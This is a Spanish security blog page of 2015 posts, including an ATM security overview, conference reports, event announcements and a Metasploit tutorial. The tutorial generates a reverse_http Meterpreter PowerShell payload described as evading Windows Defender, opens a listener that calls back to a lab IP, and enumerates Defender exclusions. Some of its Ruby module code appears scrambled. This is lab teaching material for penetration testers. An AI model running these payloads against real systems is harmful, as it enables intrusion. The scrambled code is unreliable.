29 septiembre 2015

Introducción a seguridad de cajeros automáticos o ATM

Todos en algún momento hemos utilizado un Cajero automático ATM o si no lo hemos visto por la calle, esos aparatos que sacan dinero (siempre que tengas en una cuenta asociada a tu tarjeta), la idea principal es profundizar en los vectores de ataque que existen en esas plataformas y desmitificar algunos puntos negros de la industria .

 Primero que todo empezamos con identificar las tres grandes marcas:
 
    • Wincor Nixdorf
      • Diebold
      • National Cash register (NCR)

Son las más conocidas (si obviamos otras como triton, wrg o nautilus) y utilizadas para proporcionar servicios bancarios a clientes desde retirar dinero a consultar su estado de cuenta así como en algunos bancos hacer transacciones, depósitos u otros servicios (dependiendo del perimetral que adquiera el banco).

Para eliminar un poco el miedo, o incrementarlo, os contaré que la gran mayoría de ATMs del mundo funcionan en Windows XP y 7 (habéis leído bien, sigue habiendo ATMs en XP, sin soporte y sin licencia). Sólo menos del 1% del mundo funciona en Linux (SUSE) y para mejor tranquilidad de todos se vienen ATM en sistemas operativos en Android hechos por NCR (si no tenemos suficiente vulnerabilidades de Android cada día para que dentro de poco sean táctiles, con Android y saques dinero).

Pero las partes que caracteriza los servicios del ATM son los perimetrales (hardware) y el software que se instala en los Windows, del cual cada marca tiene su propio nombre comercial, pero que en sí, todos deben cumplir con una norma de transferencia de información mediante protocolo Exchance Financial Services (XFS) (semi regulada por el CEN europeo) también existen variaciones como J/XFS o WOSA/XFS o FREEXFS que son básicamente aceptaciones del estándar base hechas con diferentes lenguajes y fabricantes.

Luego también sobre XFS existe el software conocido como "Multivendor", básicamente un XFS que puede funcionar con diferentes marcas de ATM y permite interactuar con cada hardware de ATM (que por cierto hay un montón de versiones diferentes de hardware y de perimetrales pero también hay que decir que tienen cosas malas los multivendor).

Una lista de nombres de proveedores XFS (por nombrar algunos de los más utilizados)
      • NCR – Aptra
      • Diebold – Agilis (Puede funcionar como multivendor pero es un problemón instalarlo que no vale la pena ponerlo  como multivendor)
      • Wincore - Procash/probase (Puede funcionar como multivendor)
      • KAL – kalignite (Compañia independiente que tiene productos multivendor)
      • Dynasty - Jam services (antiguos contratistas de Diebold que ahora pertenecen a Wincor y tienen su propia gama de soluciones multivendor)
      • FreeXFS


Todos desde fuera conocemos la carcasa de ATM o inclusive algunos de lobby podemos ver toda su envergadura.
Foto de un Diebold opteva 522FL lobby  Cash Dispense


Otro punto importante es la comunicación del ATM al servidor central que permite o deniega la transacción financiera de acuerdo a las reglas (por decirlo claro si no tienes pasta en la cuenta o crédito no puedes sacar dinero, transferirlo o pagar servicios)

Algunos puntos importantes sobre el protocolo de comunicación:


 Todos los cajeros requieren comunicarse con el Core Network para verificar transacciones (para aprobar, Denegar, emitir errores o enviar mensajes específicos)

 Por facilidad y gran adaptación del mercado de cajeros a Windows como sistema operativo se utiliza una comunicación TCP/IP para la comunicación fiable con el Core network desde el ATM

 El protocolo de comunicación está basado en la Norma ISO 8583 (ISO 8583 Financial transaction card originated messages)

 La información del protocolo se transmite en TEXTO PLANO! (hay algunas soluciones para esto pero como todo es un negocio, por defecto no viene cifrado) 

Generalmente, al estar en Windows los cajeros, las recomendaciones que siguen la industria de cajeros que siempre escucharan son las siguientes:

• Cifrado de comunicaciones (se suele usar VPN por que la comunicación del propio software no se permite cifrado por iniciativa de interoperabilidad)
• Cifrado de disco
• Protección de BIOS
• Configuración de nuevos componentes (verificar que se puedan poner en producción y emitan errores si es necesario en el Journal Virtual)
• Pasar los estándares Payment Card Industry
• Compra de soluciones Antivirus, Antimalware, listas blancas
• Gestión de parches (depende del contrato con el fabricante generalmente suelen ser a cada 3 meses los más precavidos y algunos fabricantes no actualizan parches cruciales como Java... para qué, si java todos sabemos con no tiene fallas de seguridad ;) )
• Correlación de eventos (básicamente esto se entiende como extraer un archivo que se llama Journal donde están los registros de todo lo que ocurre a nivel de XFS en el ATM), pero también se implementa en algunos casos a nivel de Windows
• Políticas de seguridad del sistema operativo Windows
   o Gestión de contraseñas (lo administra el dueño del ATM)
   o Restricción de accesos (lo administra el dueño del ATM)
   o Protección de llaves acceso al software (lo administra el fabricante es su puerta de acceso)
   o Actualizaciones del sistema operativo de Windows (lo administra en algunos casos el fabricante. No en todos,  pero si no hacen caso al fabricante, se quitan la responsabilidad por cualquier modificación al sistema operativo Windows,... pero al fin y al cabo es Windows)
• Dispositivos anti skimming
• Políticas de respuesta a incidentes, políticas de detección, remediación, recuperación etc.. (todas las políticas que quieras pueden existir)
 • Identificación del personal que tiene acceso (trasportadoras de valores, personal técnico interno , proveedor etc..)




La foto anterior detalla un poco la red bancaria desde Visa hasta el punto de atención al cliente en este caso el ATM (depende del banco pueden implementar más capas, conectores u otros servicios secundarios)

Bueno hay una larga lista de recomendaciones en promedio se pueden dar más de 300 recomendaciones desde el proceso de compra, manufactura, implementación mantenimiento etc.. No vamos a entrar en tantos detalles.

Aquí lo importante es la proliferación de malware para cajeros automáticos que según los últimos análisis de Kaspersky, son el TOP5 objetivos de ciber ataques y las faltas de prácticas correctas dejando todo a empresas de seguridad como antivirus y soluciones. La verdad que como muchos conocemos las “Big Enterprises” con productos de seguridad hacen su mejor esfuerzo pero en general utilizan soluciones reactivas (no tienen muchos métodos pro-activos) y al final llega un ruso (quien dice ruso dice ucraniano, chino o mafia... bueno ya me entendéis) y te parte en dos la red con un buen 0day. Se puede ver un ejemplo de esto en la nota extraída de la conferencia EAST, la red de pagos electrónicos en Ucrania, que tuvo su peor noche en el 2014, fue el Jackpot de 54 cajeros automáticos, que sumado, es un montón de pasta por un 0day y un poco de coding de XFS.

 Los casos de malware para ATM empezaron desde la publicación de las APIs de interacción de XFS de NCR de ex trabajadores chinos y, desde ahí, ha ido migrando en múltiples malware como:

   • Tyupkin y sus derivados
   • Plotus y sus derivados( estaba destinado a NCR inicialmente pero existen ajustes también para diebold)
   • Carbanak (estaba enfocado a comprometer la red del banco pero utiliza mensajes XFS para enviar órdenes a los cajeros automáticos para extraer dinero físicamente)
   • SUCESSFULL (el primer malware multivendor)
   • GreenDispenser  (primera aparición finales de Septiembre 2015 en mexico también multivendor)

Hay que tener claro que las soluciones de seguridad enfocadas en software del mercado están pensadas para asegurar el sistema operativo Windows y sus aplicativos (igual te sirve para un desktop), pero NO están pensados para asegurar los dispositivos del ATM y sus comunicaciones porque generalmente suelen ser cajas bobas (que solo reciben instrucciones) para efectuar las órdenes enviadas por el host de transacciones central. Por lo que pinta, continuarán así hasta que no haya productos enfocados al core de negocio de ATMs y menos al sistema operativo

También encontramos productos como skimmers,  que permiten la clonación de la tarjeta en el momento de su inserción junto con la utilización de cámaras. Krebsonsecurity tiene una sección completa explicando muchos ejemplos reales.



Esta es una slide que suelo utilizar para explicar el tipo de atacante que ha penetrado en la institución o la red y que conocimientos “teóricamente” requiere para llevar a cabo los ataques. 





 NOTAS:
 • Generalmente las bandas menos avanzadas tecnológicamente utilizaran skimmers que se implementan en la carcasa del ATM y fácilmente adquiribles por internet
 • Luego tienes las partes modificadas (que se está poniendo de moda) donde encuentran internamente (tienen acceso físico) en el ATM componentes de comunicación GSM (primeras versiones de malware utilizaban mensajes de celular para enviar ordenes mediante usb a los cajeros o hardware que se comunica mediante bluetooth para enviar la información
 • Luego vienen los más avanzados que ya te comprometen una red bancaria o la gran mayoría de ATMs y que como veremos interactúan con el XFS directamente aprovechando vulnerabilidades del Windows para escalar los privilegios necesarios si así fuese necesario
 • También encuentras grupos que no solo involucran conocimiento de desarrollo de software sino también de hardware para clonación de tarjetas chip EMV

Leer más...

28 septiembre 2015

Usando Pry en Desarrollo de Modulos en Metasploit


Vamos a cubrir el uso básico de Pry para escribir un modulo sencillo que enumerará las excepciones configuradas en Windows Defender en una maquina OS X o Linux. Aunque se puede desarrollar para Metasploit en una máquina que esté corriendo Windows no es recomendado debido a todas las limitantes que nos trae. Pry es un módulo de Ruby que se puede usar en vez de irb para tener una sesión interactiva dentro del contexto del framework para ejecutar comandos y pruebas. El mismo actúa como un prompt que podrí­amos tener en bash o en otra consola, lo cual lo hace familiar para el rápido aprendizaje del mismo. 

Comencemos con preparar una estructura de carpetas similar a la estructura que usa Metasploit Framework para sus módulos y la inicializamos con git de manera de poder tener control de versión de la misma.

infidel01:~ carlos$ mkdir -p modulos/post/windows/gather
infidel01:~ carlos$ cd modulos/
Initialized empty Git repository in /Users/carlos/modulos/.git/
infidel01:modulos carlos$ git init
Una vez inicializado podermos crear el módulo que estaremos escribiendo y lo añadimos a la base de datos de control de git.

infidel01:modulos carlos$ touch post/windows/gather/get_windefender_exclusions.rb
infidel01:modulos carlos$ git add post/windows/gather/get_windefender_exclusions.rb

Abrimos en nuestro editor favorito el archivo que creamos y creamos lo que llamo el esqueleto de un modulo de post-exploitation en el cual incluimos el mixin de registry para Windows y de reporte. 

Añadimos información general como la licencia, autor, que es para un sistema Windows y que el tipo de sesión es Meterpreter. 

Los mixin serían: 
* Msf::Post::Windows::Registry 
* include Msf::Auxiliary::Report 

 El modulo se vería así
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
require 'msf/core/auxiliary/report'
## require 'msf/core' require 'rex' class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::Registry def initialize(info={})
'Name' => 'Windows enumerate Windows Defender exclusions.',
super( update_info( info, 'Description' => %q{
'License' => BSD_LICENSE,
Windows enumerate Windows Defender exclusions. },
'Author' => [ 'Carlos Perez ' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)) end def run()
print_status("Running post module against #{sysinfo['Computer']}")
end
end

Generemos un payload en formato PowerShell de manera que evite la detección del mismo Windows Defender dandole como LHOST el IP de la máquina donde esta msfconsole corriendo:
msf > use payload/windows/meterpreter/reverse_http
msf payload(reverse_http) > set LHOST 192.168.100.2
LHOST => 192.168.100.2
msf payload(reverse_http) > generate -t psh-reflection -f /tmp/dev_payload.ps1
[*] Writing 2673 bytes to /tmp/dev_payload.ps1...
msf payload(reverse_http) >

Ahora usando el Multi Handler creamos un trabajo que recibirá la sesión usando la información previa, ponemos ExitOnSession en falso de manera que siga escuchando por mas conexiones una vez establezca una e inicializamos el mismo como un job y en background.

msf payload(reverse_http) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
LHOST => 192.168.100.2
msf exploit(handler) > set LHOST 192.168.100.2
msf exploit(handler) > exploit -j -z
msf exploit(handler) > set ExitOnSession false ExitOnSession => false
[*] Started HTTP reverse handler on http://0.0.0.0:8080/
[*] Exploit running as background job.
msf exploit(handler) > [*] Starting the payload handler...

En nuestra máquina Windows 8/8.1/10 abrimos Windows PowerShell x86 y copiamos el contenido del PS1 en la misma pantalla y lo ejecutamos, una sesión debe ser creada en msfconsole.
msf payload(reverse_http) >
[*] 192.168.100.176:51786 (UUID: b0790294217a0a22/x86=1/windows=1/2015-09-22T18:32:23Z) Staging Native payload ...
[*] Meterpreter session 1 opened (192.168.100.1:8080 -> 192.168.100.176:51786) at 2015-09-22 14:32:24 -0400
Type: meterpreter x86/win32
msf payload(reverse_http) > sessions -v Active sessions =============== Session ID: 1
Via: exploit/multi/handler
Info: WIN-RB3R8HILN3R\Carlos Perez @ WIN-RB3R8HILN3R Tunnel: 192.168.100.1:8080 -> 192.168.100.176:51786 (192.168.100.176)
CheckIn: 4s ago @ 2015-09-22 14:40:19 -0400
UUID: b0790294217a0a22/x86=1/windows=1/2015-09-22T18:32:23Z MachineID: 272520e89cdbf67b2d3f87c9696871cd Registered: No

Ahora podemos decirle a msfconsole que cargue el modulo que creamos del directorio de desarrollo.
msf payload(reverse_http) > loadpath ~/modulos
Loaded 1 modules:
1 post

Cargamos el modulo de manera de poder configurar el mismo con la sesión que creamos previamente y probamos que podemos ver su información.

msf exploit(handler) > use post/windows/gather/get_windefender_exclusions
msf post(get_windefender_exclusions) > set SESSION 1 SESSION => 1
Name: Windows enumerate Windows Defender exclusions.
msf post(get_windefender_exclusions) > info Module: post/windows/gather/get_windefender_exclusions
Carlos Perez
Platform: Windows Arch: Rank: Normal Provided by:
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Description:
Windows enumerate Windows Defender exclusions.

Nuestro módulo ya está apuntando a una sesión y podemos comenzar a usar pry para explorar lo que tenemos disponible bajo su contexto dentro de Metasploit Framework. Esto lo conseguimos comenzando la terminal de pry dentro del mismo msfconsole entrando el commando:
msf post(get_windefender_exclusions) > pry
[1] pry(#)>

El prompt será una largo por que tiene información del módulo donde estamos. Dependiendo del tamaño de pantalla que estemos usando, el mismo puede ser un tanto incómodo. Una manera para hacer el mismo má sencillo es usando el comando simple-prompt.
pry(#)> simple-prompt
>>

Para ver la ayuda de Pry entramos el comando de help, para paginar el mismo presionamos la tecla de espacio y para salir de la ayuda presionamos la tecla de Q.

>> help

Comenzaremos con ver el código fuente del modulo mismo usando el comando show-source:

>> show-source

Ahora miremos todas los métodos y funciones que podemos ejecutar bajo el contexto del modulo usando el comando de ls, podemos igual que antes paginar usando la tecla de espacio y salir presionando la tecla Q:

>> ls

como estaremos trabajando con el registry listemos solo los métodos relacionados con el mismo dándole el nombre del mixin de registry que importamos, el comando sería "ls Msf::Post::Windows::Registry"
>> ls Msf::Post::Windows::Registry
constants: REGISTRY_VIEW_32_BIT REGISTRY_VIEW_64_BIT REGISTRY_VIEW_NATIVE
Msf::Post::Windows::Registry#methods:
registry_createkey registry_deleteval registry_enumvals registry_getvalinfo registry_setvaldata
registry_deletekey registry_enumkeys registry_getvaldata registry_loadkey registry_unloadkey

Podemos identificar el método registry_enumkeys como el método que nos ayudaría a conseguir los keys debajo de otro, podemos ver el código del mismo y los valores que acepta usando el comando de show-source y dandole el nombre del método:
>> show-source registry_enumkeys
From: /usr/local/share/metasploit-framework/lib/msf/core/post/windows/registry.rb @ line 94:
Owner: Msf::Post::Windows::Registry Visibility: public Number of lines: 7
meterpreter_registry_enumkeys(key, view)
def registry_enumkeys(key, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext else
end
shell_registry_enumkeys(key, view)
end

Podemos ver que requiere una valor que seria la llave que vamos a enumerar y el otro es una constante ya dada que tiene que ver con si queremos ver solo el valor de la llave en contexto x64, x86 o la visión nativa del proceso bajo el cual estamos corriendo, en el caso que esté corriendo en una maquina X64 y la versión de Meterpreter que estamos usando es x86 necesitamos especificar que es el contexto de x64 el que queremos, si no el contexto nativo es suficiente. Para ver la información de la arquitectura del sistema podemos ver la variable sysinfo que se auto genera en una sesión meterpreter la cual incluye la información:
>> sysinfo
=> {"Computer"=>"WIN-RB3R8HILN3R",
"OS"=>"Windows 10 (Build 10240).",
"Architecture"=>"x64 (Current Process is WOW64)",
"System Language"=>"en_GB",
"Logged On Users"=>2}
"Domain"=>"WORKGROUP",

Probemos enumerando la llave que contiene la excepciones de Windows Defender que es HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions y ver que valores nos devuelve:
>> registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions", REGISTRY_VIEW_64_BIT)
=> ["Extensions", "Paths", "Processes", "TemporaryPaths"]

Podemos ver que nos devuelve un array con los nombres de las llaves. Podemos editar nuestro modulo desde dentro del mismo pry si deseamos. Guardemos el array que recibimos de tipos de exclusión en una variable de manera de poder entonces enumerar cada uno de ellos.
>> exclusion_key = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"
=> "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"
=> ["Extensions", "Paths", "Processes", "TemporaryPaths"]
>> exception_types = registry_enumkeys(exclusion_key,REGISTRY_VIEW_64_BIT)
Ahora podemos probar cata tipo de excepción y ver si tenemos alguna configurada.
>> exception_types.each do |et|
| puts registry_enumvals("#{exclusion_key}\\#{et}",REGISTRY_VIEW_64_BIT)
| end C:\Users\Carlos Perez\Desktop\test_code \\192.168.1.2\media
=> ["Extensions", "Paths", "Processes", "TemporaryPaths"]

Podemos ver que podemos enumerar las que están configuradas de tipo path. Ahora que tenemos toda la información que necesitamos y que confirmamos podemos salir de pry escribiendo el comando de exit. Una vez fuera podemos escribir edit en msfconsole

>> exit
msf post(get_windefender_exclusions) > edit

Podemos ahora terminar de añadir toda la lógica necesaria para terminal el módulo.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
require 'msf/core/auxiliary/report'
## require 'msf/core' require 'rex' class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::Registry def initialize(info={})
'Name' => 'Windows enumerate Windows Defender exclusions.',
super( update_info( info, 'Description' => %q{
'License' => BSD_LICENSE,
Windows enumerate Windows Defender exclusions. },
'Author' => [ 'Carlos Perez ' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)) end def run()
print_status("Running post module against #{sysinfo['Computer']}")
print_status("Enumerating Windows Defender exceptions:")
if sysinfo['Architecture'] =~ /x64/
exclusion_key = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"
exception_types = registry_enumkeys(exclusion_key)
exception_types = registry_enumkeys(exclusion_key,REGISTRY_VIEW_64_BIT) else end exception_types.each do |et|
exclusions = registry_enumvals("#{exclusion_key}\\#{et}",REGISTRY_VIEW_64_BIT)
vprint_status("Checking for #{et} exceptions.") if sysinfo['Architecture'] =~ /x64/ else exclusions = registry_enumvals("#{exclusion_key}\\#{et}")
vprint_status("No exclusions found for #{et}")
end if exclusions.length > 0 print_status("Exceptions found for #{et}") exclusions.each do |exc| print_good("\t#{exc}") end else
end
end end
end

Una vez salimos del editor msfconsole vuelve a cargar el módulo y podemos ahora probar los cambios.
msf post(get_windefender_exclusions) > edit
[*] Launching /usr/bin/vim /Users/carlos/modulos/post/windows/gather/get_windefender_exclusions.rb
msf post(get_windefender_exclusions) > reload [*] Reloading module...
[*] Enumerating Windows Defender exceptions:
msf post(get_windefender_exclusions) > run [*] Running post module against WIN-RB3R8HILN3R
[*] Post module execution completed
[*] Exceptions found for Paths [+] C:\Users\Carlos Perez\Desktop\test_code [+] \\192.168.1.2\media
msf post(get_windefender_exclusions) >

En resumen, hemos visto como Pry nos puede ayudar a poder visualizar  mejor las llamadas del API, probar las mismas y a su vez reducir el tiempo cuando escribimos un módulo. Los mismos conceptos nos pueden servir cuando estamos tratando de resolver problemas con módulos existentes probando cada uno de sus componentes.

De Pry y de muchos más topics relacionados con Metasploit a nivel avanzado, hablaré en el Módulo III del curso de Hacking Ético de Securízame
  
Contribución cortesía de: Carlos Pérez 
Leer más...

27 septiembre 2015

Enlaces de la SECmana - 295

 
Leer más...

25 septiembre 2015

Así viví la #DragonjarCON2015

La semana pasada, se llevó a cabo la segunda edición de la DragonjarCON en Manizales - Colombia, organizada por la comunidad del mismo nombre. 

Lo que había podido leer en el grupo Telegram de los speakers ya auguraba que el evento sería una fiesta continua. Entre tanto viaje, trabajo y otras circunstancias, estoy bastante cansado a estas alturas del año. Sin embargo, el ambiente a CON me resucita, desempolvo el pasaporte y me dispongo a cruzar el charco una vez más. Aunque en esta ocasión, tendría la ruta por Panamá, esta vez no haría el trayecto solo, sino que me acompañaría otro speaker desde España: Adastra. Nos encontramos en la T4 y nos fuimos charlando desde que salimos, casi hasta que llegamos, con paradas para alguna cabezadita cuando el café ya no hacía efecto. En el aeropuerto de Pereira, nos estaban esperando Jacobo y Jaime y unas admiradoras que nos confundieron con los componentes de un grupo de rock (creo que la melena de Adastra ayudó, porque lo que es la mía…)
    
El evento se distribuyó en dos partes: Los tres primeros días, consistió en talleres presenciales. Participé impartiendo uno de dos jornadas de duración sobre “Seguridad en Entornos Corporativos”. Tuve 11 alumnos que, a tenor de las encuestas que les hicimos desde Securízame, salió bastante bien.





El tercer día lo dediqué a “descansar”… o mejor dicho, a ponerme al día con montones de pendientes que quedan acumulados en la lista de espera de los dos primeros días.

El jueves empezó oficialmente el evento. De hecho, Jaime me concedió el honor de abrir el evento siendo el primer ponente. Dí una charla que ya había dado en la Ekoparty 2014, pero que en Colombia nunca había expuesto: “Cooking an APT in the paranoid way”. 



Siguió Hugo Bayona con una excelente charla de PNL. En ella enseñaba a detectar la actitud de las personas en base a sus expresiones y lenguaje corporal. Después de la misma, los ponentes bromeábamos con ser lo más asépticos posibles con él y no darle ni la mano para evitar que nos analizara. 

La que vino después, por parte de Josué Rojas, consistía en enseñar un malware que se ejecutaba en routers ADSL, con procesador ARM, así como el estudio que había hecho sobre el despliegue del malware en equipos de Perú.

Las charlas de Mateo Martínez sobre botnets, Efrén Sánchez y Juan David Castro me pillaron trabajando atrás del todo, donde el sonido no era tan preciso (pero había conexión a Internet), por lo que no puedo dar muchos detalles sobre las mismas.

Llegó el turno de Javier Antúnez, a quien no conocía personalmente, pero con el que hice muy buenas migas. Dio una charla que recopilaba las diferentes vulnerabilidades sufridas por SSL, desde BEAST en adelante. Muy académica la forma de contarlo por parte de Javier, que se ve que tiene la madera docente corriendo por las venas.

La última del día vino por parte del amigo Paulino Calderón que nos obsequió con una clase de programación segura en Android.

El viernes nos tocó madrugar, pero reconozco que valió la pena. La joven argentina Sheila Berta, nos contó diversas técnicas de evasión de antivirus, tanto los basados en firmas, como para los que se basan en el análisis del comportamiento de los binarios, asignando valores de riesgo según las operaciones que éstos realizan. Previamente, dio una introducción sobre las dificultades que había por el hecho de ser mujer en un sector en el que prevalece mayoritariamente el género masculino. Personalmente, me pareció una charla muy interesante y sorprendente el conocimiento y lo bien que lo explica Sheila, a sus 20 años de edad. 


El siguiente fue Leonardo Huertas que nos habló de las virtudes de Tacyt. Hacía mucho tiempo que quería desvirtualizar a Leo, y por fin en esta edición de DragonjarCon, pudo ser. 



De la charla de Luis Hernández he escuchado excelentes comentarios, y lamento no haber podido asistir. En esa hora, nos invitó Jaime, a Efrén y a mí, a participar en un programa de radio. 


Tras la comida comenzó el argentino Cristian Amicelli introduciendo NLTK (Natural Language Toolkit) creada para interactuar en Python con información provista en lenguaje natural.

Después llegó la charla de Adastra, mi compañero de viaje, que desnudó un poco más el funcionamiento de la red Tor, y explicó diferentes técnicas de pentesting contra servicios de la deep web. 


Continuó Fraph que sacó a la luz diferentes fallos existentes en pasarelas de pago, y que amenizó la charla con alguna que otra historia “que le pasó a un amigo“.  La charla del peruano Ricardo Supo me la perdí, por lo que no puedo dar ningún tipo de detalle, más allá de un título muy motivador “Desde una credencial hasta el Domain Admin en un sólo día”



El cierre del evento vino a cargo del chileno Gabriel Bergel que dio una de las charlas más interesantes del evento, relacionada con la (in)seguridad de los POS (o puntos de venta) que hizo que nos pongamos en modo paranoico la siguiente vez que paguemos con tarjeta de crédito físicamente.



El fin de fiesta, nunca mejor dicho, vino a cargo de los mexicanos de Websec, en la que se llegó a fundir el proyector en la que hubo momentos míticos: Desde la película Hackers en Blue Ray, que cumple 20 años de vida, pasando por Kung Fury, El Internet de Los Alguiens y el que fue "el video" del evento "La mejor escena de Ninjas de la Historia del Cine".





Un placer haber podido compartir unos rones (y unos fernets) con el amigo Pedro Joaquín, al que seguro que veo en la próxima #TropiCON2016 (ahí te dejo eso carnal ;D)

Como siempre en mis viajes a LATAM, vuelvo muy satisfecho y contento por las experiencias vividas, y el tiempo compartido con viejos y nuevos colegas. Como se suele decir, lo comido (que por cierto fue bastante) y lo bailao (de esto no hubo pero lo sustituimos por reído) no me lo quita nadie. 


Hasta la próxima!

Leer más...

23 septiembre 2015

Hackathon de CyberCamp 2015


Gracias a Raul Siles nos enteramos del primer anuncio oficial del Hackathon del CyberCamp 2015 de INCIBE, que este año tendrá lugar entre el 26 y 29 de Noviembre en Madrid.

Por el momento sabemos que la competición consistirá en un hackatón de herramientas de seguridad de código abierto (open-source). Serán 4 días completos en los que los participantes tendrán que demostrar su potencial, trabajo en equipo y demostrar sus habilidades y conocimientos para poder conseguir hacerse con el reto. Habrá premios para todos los integrantes (máximo cuatro por equipo) de los tres mejores equipos.

El anuncio inicial del Hackathon de CyberCamp 2015 está publicado en el siguiente enlace:

https://cybercamp.es/actividades/hackathon

A comienzos de octubre aproximadamente se publicarán las bases de participación oficiales y el formulario de inscripción. Para cualquier duda por el momento se puede contactar utilizando la dirección de correo hackathon_ARROBA_cybercamp.es
Leer más...

22 septiembre 2015

Zerodium, nueva empresa de compra de 0days, tira la casa por la ventana ofreciendo un millón de dólares a quien envíe un exploit válido y bien documentado que permita, a través del navegador o mensaje de texto, conseguir un jailbreak untethered en iOS 9, la última versión del sistema operativo para dispositivos iPhone/iPod/iPad


Las condiciones son muy claras:

  • Sólo se permiten 0days o conjunto de varias vulnerabilidades que permitan evadir los mecanismos de seguridad disponibles en esta nueva versión de firmware de los dispositivos Apple para ejecutar código de terceros (jailbreak)
  • El ataque debe ser persistente (untethered)
  • Los vectores permitidos pueden ser ataques a través del navegador, o mediante mensaje de texto o multimedia.
  • El exploit debe funcionar sin requerir interacción por parte del usuario de ningún tipo.
  • Debe funcionar en todos los dispositivos.
  • Exploits incompletos o parciales no recibirán la recompensa completa, pero Zerodium podría optar a comprarlos también a otro precio.
  • Es necesario incluir documentación completa, exploit y su código fuente en caso de ser necesario. 

Campaña muy comercial, en la que seguro que habrá uno o varios ganadores, por muy imposible que parezca, viendo las últimas tendencias e hitos conseguidos contra el sistema operativo de dispositivos móviles de Apple.

Por desgracia, parece ser que las vulnerabilidades que consigan este Bug Bounty no serán publicadas.

Leer más...

21 septiembre 2015

Buscando empleo en tecnología y seguridad

Está claro que a la hora de buscar empleo, todo el mundo recurre al portal Infojobs, pero cada vez más empresas persiguen ampliar su plantilla recurriendo a otros métodos lejos de este gigante de Internet. En este post, vamos a enumerar algunos métodos alternativos a los que puedes recurrir si estás en búsqueda activa (o desesperada...) de empleo, tanto en España como en el resto del mundo.

También hay que tener en cuenta que no todas las ofertas disponibles son reales, o demuestran una necesidad real por parte de la empresa, y se utilizan como cebo para recopilar curriculums y recurrir a ellos cuando realmente sea necesario. En muchos otros casos, se recibe tal avalancha, que lo más recomendable es diseñar un CV de tal forma que impresione al primer nivel que lo recibe, y recomiende continuar con el proceso.

En algunos casos siguientes, estos puntos de interés están especializados en empleos tecnológicos:
  • JobAndTalent http://www.jobandtalent.com/: Portal de éxito cuya principal premisa es que, tras completar tu perfil, la plataforma se encargará de buscar trabajo por ti, y que tú recibas las ofertas que más puedan encajar. Cubre un amplio espectro de localizaciones con empleos disponibles en su base de datos tanto en España como Sudamérica, Estados Unidos, Reino Unido, etc.
  • Dice https://www.dice.com: Página focalizada en recopilar empleos tecnológicos. Para algunos de los empleos, se muestra rango salarial orientativo, así como ventajas y tipo de contrato.
  • Indeed http://www.indeed.com: Indeed se caracteriza por recorrer cientos de webs y portales de empleo para, a su vez, recopilarlos en un único punto. Su principal característica es que en la mayoría de los casos, también muestra rangos salariales aunque no lo especifique para cada empleo, por lo que se puede utilizar como filtro a la hora de buscar. Trabaja a nivel mundial.
  • Glassdoor http://www.glassdoor.com: Una de las principales ventajas además de disponer de ofertas de empleos, es que Glassdoor establece perfiles para cada una de las empresas, en los cuales trabajadores (y ex-trabajadores) de forma anónima pueden aportar críticas, hablar de beneficios reales, cómo fueron sus entrevistas de trabajo, salarios, tipo de empresa, cultura, y un largo etcétera.
  • Linkedin Jobs https://www.linkedin.com/job/: Dentro de esta red social "para encorbatados", cada vez es más normal que se llene de reclutadores de talento bombardeando con ofertas, de ahí que seguramente Linkedin se decidiera a sacar una aplicación en paralelo para congregar todas las ofertas de trabajo disponibles por las empresas
  • Congresos de seguridad, desarrollo y tecnología: Cada vez es más habitual que las empresas patrocinen congresos de tecnología, y así aprovechen tanta congregación de talento para la búsqueda de nuevos fichajes que incorporar a sus filas. Es por ello que recomendamos asistir a todos los posibles si además buscas un cambio de aires, ya que en un mismo lugar aumenta el número de oportunidades, e incluso te pueden hacer una primera entrevista tras entregar tu CV.
  • Secciones de empleo en las páginas de las empresas: Si lo que buscas realmente es trabajar en una empresa concreta, lo más cómodo (pero en muchas veces poco fructífero) es dirigirte a la sección de ofertas de empleo de su página. 
  • Por supuesto, suscríbete a listas de correo como la de la Rooted (atentos a RootedJobs) y NoConName donde periódicamente se publican ofertas de empleo tanto para España como para el resto del mundo.
  • En nuestro blog Security By Default http://www.securitybydefault.com/p/ofertas-de-empleo.html encontrarás una sección llamada Ofertas de Empleo en el que publicaremos todas las ofertas que nos llegan a nuestra dirección de contacto.
¡Esperamos que este post os sea de utilidad!
Leer más...

20 septiembre 2015

Enlaces de la SECmana - 294

Leer más...

19 septiembre 2015

VII Jornadas sobre Ciberamenazas y Ciberdefensa

Como en años anteriores, se celebra una nueva edición de las Jornadas sobre Ciberamenazas y Ciberdefensa, organizadas por la Universidad Europea de Madrid.
Esta séptima edición tendrá lugar el 24 de Septiembre a partir de las 16:15 en el Auditorio del Edificio B del Campus de Villaviciosa de Odón, y contará con las siguientes ponencias bajo el subtítulo CIBERSEGURIDAD Y CLOUD COMPUTING. A partir de las 18:30 podréis ver a nuestro compañero Alejandro Ramos:
  • 16:30 Ciberseguridad y los Proveedores de Servicios de Cloud
    • Ciberseguridad y Cloud Computing – D. Hector Sánchez Montenegro
    • Entrar, entrarán... pero ¿hasta dónde? – D. Moises Navarro
    • La seguridad de la nube de Google - Cómo Google protege tus datos – D. Javier Cañadillas
    • Seguridad y AWS – D. Enrique Lopiz
  • 18:30 Amenazas, riesgos e incidentes desde la perspectiva de la Estrategia de Ciberseguridad Nacional
    • Cloud y contratación: riesgos y trampas – Dña. Cristina Sirera
    • Pilares para una ciberdefensa sólida en la nube – D. Pau Escobosa
    • Anonimato y las redes de vigilancia - D. Alejandro Ramos
Para asistir a este evento gratuito, es necesario escribir un correo electrónico a Victoria Pascual (victoria.pascual@uem.es)
Leer más...

16 septiembre 2015

